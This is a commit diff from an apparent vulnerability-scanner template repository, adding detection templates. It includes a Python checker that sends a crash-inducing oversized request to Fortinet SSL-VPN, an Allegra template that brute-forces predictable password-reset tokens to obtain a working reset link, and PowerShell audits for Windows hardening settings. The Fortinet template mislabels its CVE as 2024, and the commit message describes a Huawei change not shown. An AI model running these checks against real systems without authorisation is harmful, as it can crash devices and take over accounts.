Update huawei-holosense-panel template with improved metadata and structure

- Added reference to official Huawei product page
- Fixed max-request vs max-requests field naming for consistency
- Added panel and iot tags for better categorization
- Enhanced template structure following review guidelines

.new-additions

@@ -1,11 +1,81 @@
+code/cves/2022/CVE-2022-42475.yaml
+code/cves/2025/CVE-2025-6216.yaml
+code/windows/audit/kisa/account-lockout-threshold.yaml
+code/windows/audit/kisa/admin-account-rename.yaml
+code/windows/audit/kisa/admin-group-minimal.yaml
+code/windows/audit/kisa/autologon-control.yaml
+code/windows/audit/kisa/crash-on-audit-fail.yaml
+code/windows/audit/kisa/dns-zone-transfer-check.yaml
+code/windows/audit/kisa/ftp-access-control-check.yaml
+code/windows/audit/kisa/ftp-anonymous-check.yaml
+code/windows/audit/kisa/ftp-directory-permission-check.yaml
+code/windows/audit/kisa/hard-disk-default-share.yaml
+code/windows/audit/kisa/password-cleartext-encryption.yaml
+code/windows/audit/kisa/password-never-expires.yaml
+code/windows/audit/kisa/rds-removal-check.yaml
+code/windows/audit/kisa/remote-registry-access-check.yaml
+code/windows/audit/kisa/remote-system-shutdown.yaml
+code/windows/audit/kisa/sam-file-access-control.yaml
+code/windows/audit/kisa/service-pack-check.yaml
+code/windows/audit/kisa/shutdown-without-logon.yaml
+code/windows/audit/kisa/unnecessary-accounts-check.yaml
+code/windows/audit/kisa/unnecessary-service-check.yaml
+http/cves/2020/CVE-2020-9547.yaml
+http/cves/2020/CVE-2020-9548.yaml
+http/cves/2022/CVE-2022-23397.yaml
+http/cves/2023/CVE-2023-49230.yaml
+http/cves/2024/CVE-2024-50334.yaml
+http/cves/2025/CVE-2025-2010.yaml
+http/cves/2025/CVE-2025-27505.yaml
+http/cves/2025/CVE-2025-32813.yaml
+http/cves/2025/CVE-2025-32814.yaml
+http/cves/2025/CVE-2025-32815.yaml
+http/cves/2025/CVE-2025-34040.yaml
+http/cves/2025/CVE-2025-41646.yaml
+http/cves/2025/CVE-2025-4380.yaml
 http/cves/2025/CVE-2025-47812.yaml
 http/cves/2025/CVE-2025-47813.yaml
+http/cves/2025/CVE-2025-48827.yaml
+http/cves/2025/CVE-2025-49493.yaml
+http/cves/2025/CVE-2025-52488.yaml
+http/cves/2025/CVE-2025-53624.yaml
+http/cves/2025/CVE-2025-5777.yaml
+http/default-logins/molgenis/molgenis-default-login.yaml
+http/exposed-panels/cisco-cm-panel.yaml
+http/exposed-panels/cisco-prime-license-manager-panel.yaml
 http/exposed-panels/google-adk-api-exposed.yaml
 http/exposed-panels/google-adk-webui-exposed.yaml
+http/exposed-panels/molgenis-panel.yaml
+http/exposed-panels/peplink-panel.yaml
 http/exposed-panels/wingftp-panel.yaml
+http/miscellaneous/torrent-website-detect.yaml
+http/misconfiguration/dd-wrt-controlpanel-exposure.yaml
+http/misconfiguration/installer/pritunl-installer.yaml
+http/misconfiguration/twonky-server-exposure.yaml
+http/osint/user-enumeration/sessionize.yaml
+http/technologies/graphql/graphql-apiforwp-detect.yaml
+http/technologies/graphql/graphql-apollo-detect.yaml
+http/technologies/graphql/graphql-ariadne-detect.yaml
+http/technologies/graphql/graphql-dianajl-detect.yaml
+http/technologies/graphql/graphql-flutter-detect.yaml
+http/technologies/graphql/graphql-go-detect.yaml
+http/technologies/graphql/graphql-gqlgen-detect.yaml
+http/technologies/graphql/graphql-graphene-detect.yaml
+http/technologies/graphql/graphql-hasura-detect.yaml
+http/technologies/graphql/graphql-hypergraphql-detect.yaml
+http/technologies/graphql/graphql-java-detect.yaml
+http/technologies/graphql/graphql-juniper-detect.yaml
+http/technologies/graphql/graphql-php-detect.yaml
+http/technologies/graphql/graphql-ruby-detect.yaml
+http/technologies/graphql/graphql-sangria-detect.yaml
+http/technologies/graphql/graphql-strawberry-detect.yaml
+http/technologies/graphql/graphql-tartiflette-detect.yaml
+http/technologies/graphql/graphql-wpgraphql-detect.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
 http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
+http/vulnerabilities/infoblox/infoblox-netmri-rails-cookie-rce.yaml
+network/detection/jdwp-detect.yaml

code/cves/2022/CVE-2022-42475.yaml

@@ -0,0 +1,176 @@
+id: CVE-2024-42475
+
+info:
+  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
+  author: 0xhaggis,pszyszkowski
+  severity: critical
+  description: |
+    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
+  remediation: |
+    Fixed in:
+    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
+    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
+    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
+  reference:
+    - https://github.com/0xhaggis/CVE-2022-42475
+    - https://fortiguard.com/psirt/FG-IR-22-398
+    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
+    - https://bishopfox.com/blog/exploit-cve-2022-42475
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
+  metadata:
+    max-request: 1
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - port:10443 http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+      - http.html:"/remote/login" "xxxxxxxx"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import sys, os, time, socket, ssl
+      PADDING        = 0x4141414141414141
+      PADDING_LEN    = 1024*12
+      CONTENT_LENGTH = b"4294967297"
+
+      class SSLVPNExploit:
+        def __init__(self, host, port):
+          self.host = host
+          self.port = port
+        def connect(self):
+          tries = 1
+          if os.getenv("Scheme") == "https":
+            useSSL = True
+            print("[+] Using SSL/TLS")
+          else:
+            useSSL = False
+            print("[+] Unencrypted connection")
+          while tries <= 6:
+            try:
+              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              if useSSL == True:
+                ctx = ssl._create_unverified_context()
+                self.socket = ctx.wrap_socket(self.cleartext_socket)
+              else:
+                self.socket = self.cleartext_socket
+              self.socket.settimeout(2.0)
+              self.socket.connect((self.host, self.port))
+
+              return self.socket
+            except socket.timeout as e:
+              tries += 1
+              print("Connection timeout!")
+              continue
+            except Exception as e:
+              print("Unknown error!")
+              print(e)
+              return None
+          return None
+        def check_by_get(self):
+          get_req = bytearray(b"")
+          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+          print("[>] Sending GET first")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+          try:
+            self.socket.sendall(get_req)
+
+            self.socket.settimeout(10)
+            get_buf = self.socket.recv(1048576)
+
+            if len(get_buf) == 0:
+              print("Error while sending GET. Protocol mismatch?")
+              return None
+            self.socket.close()
+            return True
+          except socket.timeout as e:
+            print("[>] Target waited for more data.")
+            return False
+
+          except Exception as e:
+            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+            print(e)
+            return None
+
+        def is_vulnerable(self):
+          req = bytearray(b"")
+          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+          req += b"AAAAAAAA"*(PADDING_LEN)
+
+          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+
+          try:
+            # Send the payload. Vuln instances will crash, severing the connection and
+            # causing an exception to be thrown here.
+            self.socket.sendall(req)
+
+            # If this read succeeds then the target is probably not vulnerable.
+            # If it times out, then it's also probably not vulnerable.
+            self.socket.settimeout(10)
+            buf = self.socket.recv(1048576)
+
+            # If the remote end disconnects without an HTTP response then it's vulnerable.
+            if len(buf) == 0:
+                return True
+
+            # Check to see if it has the vendor patch applied
+            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                print("[>] Target is patched.")
+                return False # 100% confidence that it's not vulnerable.
+
+            # Ok, something weird and unexpected happened.
+            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+            print("----- BEGIN RESPONSE -----")
+            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+            print("----- END RESPONSE -----")
+            self.socket.close()
+            return None
+
+          except socket.timeout as e:
+            print("[>] Target waited for more data. Not vulnerable.")
+            return False
+          except Exception as e:
+            print("[>] Target dropped the connection, which indicates a vulnerable device!")
+            print(e)
+            return True
+
+      if __name__ == '__main__':
+        host=os.getenv("Host")
+        port=int(os.getenv("Port"))
+        exploit = SSLVPNExploit(host, port)
+        check = exploit.check_by_get()
+
+        if check == True:
+          result = exploit.is_vulnerable()
+          if result == None:
+            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+            exit(2)
+
+          if result == True:
+            print("[+] Target appears to be VULNERABLE")
+            exit(0)
+
+          else:
+            print("[+] Target is NOT vulnerable")
+            exit(1)
+
+    matchers:
+      - type: word
+        words:
+          - "Target appears to be VULNERABLE"
+# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -0,0 +1,116 @@
+id: CVE-2025-6216
+
+info:
+  name: Allegra - Authentication Bypass via Predictable Password Reset Token
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
+  remediation: |
+    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
+  reference:
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
+    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6216
+    cwe-id: CWE-640
+    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: alltena
+    product: allegra
+    shodan-query: http.favicon.hash:"284403119"
+    fofa-query: icon_hash="284403119"
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+
+variables:
+  email: "[email protected]"  # Change to a test account
+
+flow: http(1) && code()
+
+http:
+  - raw:
+      - |
+        POST /resetPassword.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
+
+    extractors:
+      - type: regex
+        name: date_header
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "Date: (.*)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "emailSent"
+          - '"success":true'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+            import requests
+            import hashlib,os
+            import time
+            from datetime import datetime, timezone
+            from email.utils import parsedate_to_datetime
+
+            def get_server_time(response):
+                date_header = response.headers.get('Date')
+                if date_header:
+                    return parsedate_to_datetime(date_header)
+                return None
+
+            def main():
+                BASE_URL = os.getenv("BaseURL")
+                EMAIL = os.getenv("email")
+                date_header = os.getenv("date_header")
+                server_time = parsedate_to_datetime(date_header)
+                if not server_time:
+                    return
+                server_time_ms = int(server_time.timestamp() * 1000)
+                expiry_time_ms = server_time_ms + 28800000
+                base_expiry_sec = (expiry_time_ms // 1000) * 1000
+                for ms in range(1000):
+                    candidate_expiry_ms = base_expiry_sec + ms
+                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
+                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
+                    r = requests.get(test_url, allow_redirects=False)
+                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
+                        print(test_url)
+                        return
+
+            if __name__ == "__main__":
+                main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(code_response, "/resetPassword!confirm.action?ctk=")
+
+    extractors:
+      - type: dsl  # type of the extractor
+        dsl:
+          - '"Reset URL: " + code_response'
+# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/account-lockout-threshold.yaml

@@ -0,0 +1,66 @@
+id: account-lockout-threshold
+
+info:
+  name: Account Lockout Threshold Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the account lockout threshold is configured to 5 or fewer invalid login attempts to reduce the risk of brute-force attacks.
+  impact: |
+    An absent or misconfigured lockout threshold permits unlimited password guessing attempts, significantly increasing the risk of account compromise.
+  remediation: |
+    Set the lockout threshold using:
+    > net accounts /lockoutthreshold:5
+    or configure it via Local Security Policy under:
+    Account Lockout Policy → Account lockout threshold.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      $netAccountsOutput = net accounts
+      $thresholdLine = $netAccountsOutput | Where-Object { $_ -match "Lockout threshold:" }
+      if ($thresholdLine) {
+          # "Lockout threshold:"
+          $matches = [regex]::Match($thresholdLine, "Lockout threshold:\s+(\S+)")
+          if ($matches.Success) {
+              $value = $matches.Groups[1].Value.Trim()
+              if ($value -eq "0" -or $value -eq "Never") {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
+              }
+              elseif ([int]$value -gt 5) {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
+              }
+              else {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_OK"
+              }
+          }
+          else {
+              Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
+          }
+      }
+      else {
+          Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
+          - "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
+        condition: or
+# digest: 4a0a00473045022034a847143c2c8fb95385c179c5f7470c39ab50890f000ed24a3035ea0f25870a022100fc81ac665ad1b19de6dee7a2dca9825d4b1788f9c7d1864fe911258bf7d12018:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/admin-account-rename.yaml

@@ -0,0 +1,43 @@
+id: admin-account-rename
+
+info:
+  name: Administrator Account Rename Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the default Administrator account has been renamed to help prevent targeted brute-force attacks.
+  impact: |
+    Retaining the default Administrator account name gives attackers a predictable target for password guessing attempts on a privileged account.
+  remediation: |
+    Rename the Administrator account using Local Security Policy or the following command-line instruction:
+    > wmic UserAccount where Name="administrator" call Rename Name="NEW_NAME"
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Check SID ending with -500 (built-in Administrator)
+      $adminAccount = Get-LocalUser | Where-Object { $_.SID -like '*-500' }
+      if ($adminAccount.Name -eq 'Administrator') {
+          "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
+      } else {
+          "ADMINISTRATOR_ACCOUNT_RENAMED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
+# digest: 490a0046304402204f1082ed779670c36e0c0dbdd6b5877646019c207108132bedf0b2930b7dc152022009b7488b88083a38073d52e1ef4b9a33c21321f0fc1acc490a78e529ca983432:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/admin-group-minimal.yaml

@@ -0,0 +1,60 @@
+id: admin-group-minimal
+
+info:
+  name: Minimum Administrator Group Membership Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that only essential accounts are members of the Administrators group. Excess or unnecessary accounts can increase the system's vulnerability to compromise.
+  impact: |
+    Additional accounts in the Administrators group can be leveraged by attackers to gain unauthorized access and execute administrative tasks.
+  remediation: |
+    Remove unneeded accounts from the Administrators group using:
+    > net localgroup administrators [AccountName] /del
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa,admin-group
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $output = net localgroup administrators | Out-String
+      $lines = $output -split "`n"
+      $start = $false
+      $accounts = @()
+      foreach ($line in $lines) {
+          # Identify the start of the member list by the separator line
+          if ($line -match "^-+") {
+              $start = $true
+              continue
+          }
+          # End the member list when reaching the completion message
+          if ($start -and $line -match "The command completed successfully") {
+              break
+          }
+          if ($start -and $line.Trim() -ne "") {
+              $accounts += $line.Trim()
+          }
+      }
+      # Assume that only one account (the built-in administrator or a renamed equivalent) is necessary.
+      if ($accounts.Count -gt 1) {
+          "EXTRA_ADMIN_ACCOUNTS_FOUND"
+      } else {
+          "ADMIN_GROUP_MINIMAL"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "EXTRA_ADMIN_ACCOUNTS_FOUND"
+# digest: 4a0a004730450221009c36aa2068e623df764f3863f6e970940153bfea01b831b33ad12afb14df3cd102207572f13bba45b95343961cc8a22a4b2b999dfb784f64eb62ce42dae81795f360:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/autologon-control.yaml

@@ -0,0 +1,45 @@
+id: autologon-control
+
+info:
+  name: Autologon Function Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the Autologon feature is disabled by verifying that the AutoAdminLogon registry value under
+    HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon is either missing or set to "0".
+    A value of "1" indicates that login credentials may be stored in the registry, creating a potential security risk.
+  impact: |
+    Enabling Autologon allows attackers with physical or remote access to retrieve stored login credentials, potentially resulting in unauthorized system access.
+  remediation: |
+    Disable Autologon by setting the AutoAdminLogon registry value to "0". This can be done using:
+    - Registry Editor: Go to HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon and set AutoAdminLogon to "0".
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: autologon,account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
+      $autologon = (Get-ItemProperty -Path $regPath -Name AutoAdminLogon -ErrorAction SilentlyContinue).AutoAdminLogon
+      if ($null -eq $autologon -or $autologon -eq "0") {
+          "AUTO_ADMIN_LOGON_DISABLED"
+      } else {
+          "AUTO_ADMIN_LOGON_ENABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "AUTO_ADMIN_LOGON_ENABLED"
+# digest: 4a0a00473045022100f6c7e1a440a97be82ee3459e2a332e1ff946165fd3d81fe5fe130fd9994b3e9c022054d9ac214e6fa41663e07b56e06c9b2d47c504b8419e08dd5daf0b733d717e46:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/crash-on-audit-fail.yaml

@@ -0,0 +1,52 @@
+id: crash-on-audit-fail
+
+info:
+  name: Shutdown on Audit Failure Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Shutdown on Audit Failure" policy is disabled.
+    The registry value should be set to "4,0" to prevent the system from shutting down if it cannot log security audit events.
+    If set to "4,1", the system will shut down on audit failure, which could result in a denial-of-service condition.
+  impact: |
+    Enabling this policy (value set to "4,1") may cause the system to shut down unexpectedly if audit logs cannot be written, potentially disrupting services and risking data loss.
+  remediation: |
+    Disable the policy by setting the CrashOnAuditFail value to "4,0". This can be done by:
+    - Using the Registry Editor: Navigate to HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System and set CrashOnAuditFail to "4,0".
+    - Through Local Security Policy: Set "Audit: Shut down system immediately if unable to log security audits" to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa,policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $cfgPath = "C:\cfg.txt"
+      secedit /export /cfg $cfgPath | Out-Null
+      $cfg = Get-Content $cfgPath | Out-String
+      if ($cfg -match "CrashOnAuditFail\s*=\s*(\S+)") {
+          $value = $Matches[1].Trim()
+          if ($value -eq "4,1") {
+              "CRASH_ON_AUDIT_FAIL_ENABLED"
+          } else {
+              "CRASH_ON_AUDIT_FAIL_DISABLED"
+          }
+      } else {
+          "CRASH_ON_AUDIT_FAIL_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "CRASH_ON_AUDIT_FAIL_ENABLED"
+# digest: 490a00463044022007c2aca38559cd01cd500c5c6fd79aac025e09e5b81eb704d263ee7cd549e55102202518accc1cc2c845dbd42938cdf9c81fe5088c29fcd839627c5a5531c184c6db:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/dns-zone-transfer-check.yaml

@@ -0,0 +1,57 @@
+id: dns-zone-transfer-check
+
+info:
+  name: DNS Zone Transfer Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure DNS zone transfers are restricted by verifying that the SecureSecondaries registry value is set to 2 for all active zones.
+    Unrestricted zone transfers can expose sensitive domain information, helping attackers map the network infrastructure.
+  impact: |
+    If DNS zone transfers are not properly restricted, attackers could access domain and zone details, which may aid in planning and launching further attacks against the network infrastructure.
+  remediation: |
+    Configure DNS zone transfer restrictions by:
+    - Disabling zone transfers entirely, or
+    - Restricting transfers to designated servers by setting the SecureSecondaries registry value to 2.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,dns,zone-transfer
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\DNS Server\Zones"
+      $zones = Get-ChildItem -Path $regPath -ErrorAction SilentlyContinue
+      if (!$zones) {
+          "DNS_ZONE_TRANSFER_COMPLIANT"
+          exit
+      }
+      $vulnerable = $false
+      foreach ($zone in $zones) {
+          $secureVal = (Get-ItemProperty -Path $zone.PSPath -ErrorAction SilentlyContinue).SecureSecondaries
+          if ($secureVal -ne 2) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "DNS_ZONE_TRANSFER_VULNERABLE"
+      } else {
+          "DNS_ZONE_TRANSFER_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "DNS_ZONE_TRANSFER_VULNERABLE"
+# digest: 4b0a00483046022100be81b405c5b43fdf1fb9aee817558e543a42f9c049d3df45c13ec227f7b0db900221009822d46e216e816a520a0bc614186cf3b157a4dd8adcfc092e035485822bd400:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-access-control-check.yaml

@@ -0,0 +1,54 @@
+id: ftp-access-control-check
+
+info:
+  name: FTP Access Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure FTP access is restricted by configuring IP address filters. Without these restrictions, unauthorized networks could potentially access FTP services.
+  impact: |
+    Lack of proper IP-based access control allows FTP services to be accessed by unauthorized networks, heightening the risk of data breaches and other security threats.
+  remediation: |
+    Set up IP address restrictions using IIS Manager:
+    - Open IIS Manager.
+    - Go to the FTP site → FTP IP Address and Domain Restrictions.
+    - Add the allowed IP addresses and configure suitable deny rules.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,windows,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      Import-Module WebAdministration -ErrorAction SilentlyContinue
+      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
+      $vulnerable = $false
+      foreach ($site in $ftpSites) {
+          $ipSecurity = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/ipSecurity" -name "allowUnlisted" -ErrorAction SilentlyContinue
+          # If allowUnlisted is true, FTP access is open to unlisted IPs (i.e., no proper IP restriction is applied)
+          if ($ipSecurity -eq $true) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
+      } else {
+          "FTP_IP_ACCESS_CONTROL_CONFIGURED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
+# digest: 4a0a00473045022030582b216f012703bf8b3f624b5598a65b9b606276db85587b50c76d7bb649dd022100e2745e62838e7c1fe2fc03a3dc6a49bbb82af10d7bf262198b6ae175f7f4308d:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-anonymous-check.yaml

@@ -0,0 +1,53 @@
+id: ftp-anonymous-check
+
+info:
+  name: Anonymous FTP Disabled Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that anonymous FTP authentication is disabled on all FTP sites. Allowing anonymous access permits unauthenticated users to connect, which can lead to serious security vulnerabilities.
+  impact: |
+    If anonymous FTP is enabled, attackers can bypass authentication and potentially gain unauthorized access to FTP resources, posing a significant security risk.
+  remediation: |
+    Disable anonymous FTP authentication using IIS Manager:
+    - Open IIS Manager.
+    - Navigate to the FTP site → FTP Authentication.
+    - Set "Anonymous Authentication" to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      Import-Module WebAdministration -ErrorAction SilentlyContinue
+      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
+      $vulnerable = $false
+      foreach ($site in $ftpSites) {
+          $anonAuth = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/authentication/anonymousAuthentication" -name "enabled" -ErrorAction SilentlyContinue
+          if ($anonAuth -eq $true) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "ANONYMOUS_FTP_ENABLED"
+      } else {
+          "ANONYMOUS_FTP_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ANONYMOUS_FTP_ENABLED"
